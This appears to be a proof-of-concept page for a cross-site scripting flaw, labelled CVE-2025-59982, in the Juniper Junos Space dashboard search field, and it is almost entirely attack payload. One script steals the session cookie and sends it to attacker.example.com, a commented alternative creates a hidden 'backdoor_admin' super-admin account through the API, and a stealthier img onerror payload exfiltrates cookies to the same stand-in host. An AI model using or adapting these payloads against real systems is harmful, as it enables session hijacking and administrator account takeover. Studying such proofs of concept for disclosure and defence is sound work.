CVE-2025-59982

<!-- CVE-2025-59982: Juniper Junos Space Dashboard XSS PoC --> <!-- This PoC demonstrates the XSS injection via the dashboard search field --> <!-- Step 1: Inject malicious script via the search field --> <!-- The attacker navigates to the Junos Space dashboard and enters the following in the search field: --> <script> // Steal session cookie and exfiltrate to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie); // Or perform actions as the authenticated user // Example: Create a new admin account via API call // fetch('/api/user/create', { // method: 'POST', // headers: {'Content-Type': 'application/json'}, // body: JSON.stringify({ // username: 'backdoor_admin', // password: 'P@ssw0rd123', // role: 'super-admin' // }) // }); </script> <!-- Step 2: The malicious payload is stored/reflected and executed when an admin visits the page --> <!-- Alternative payload using event handlers for more stealthy execution: --> <!-- <img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)"> -->
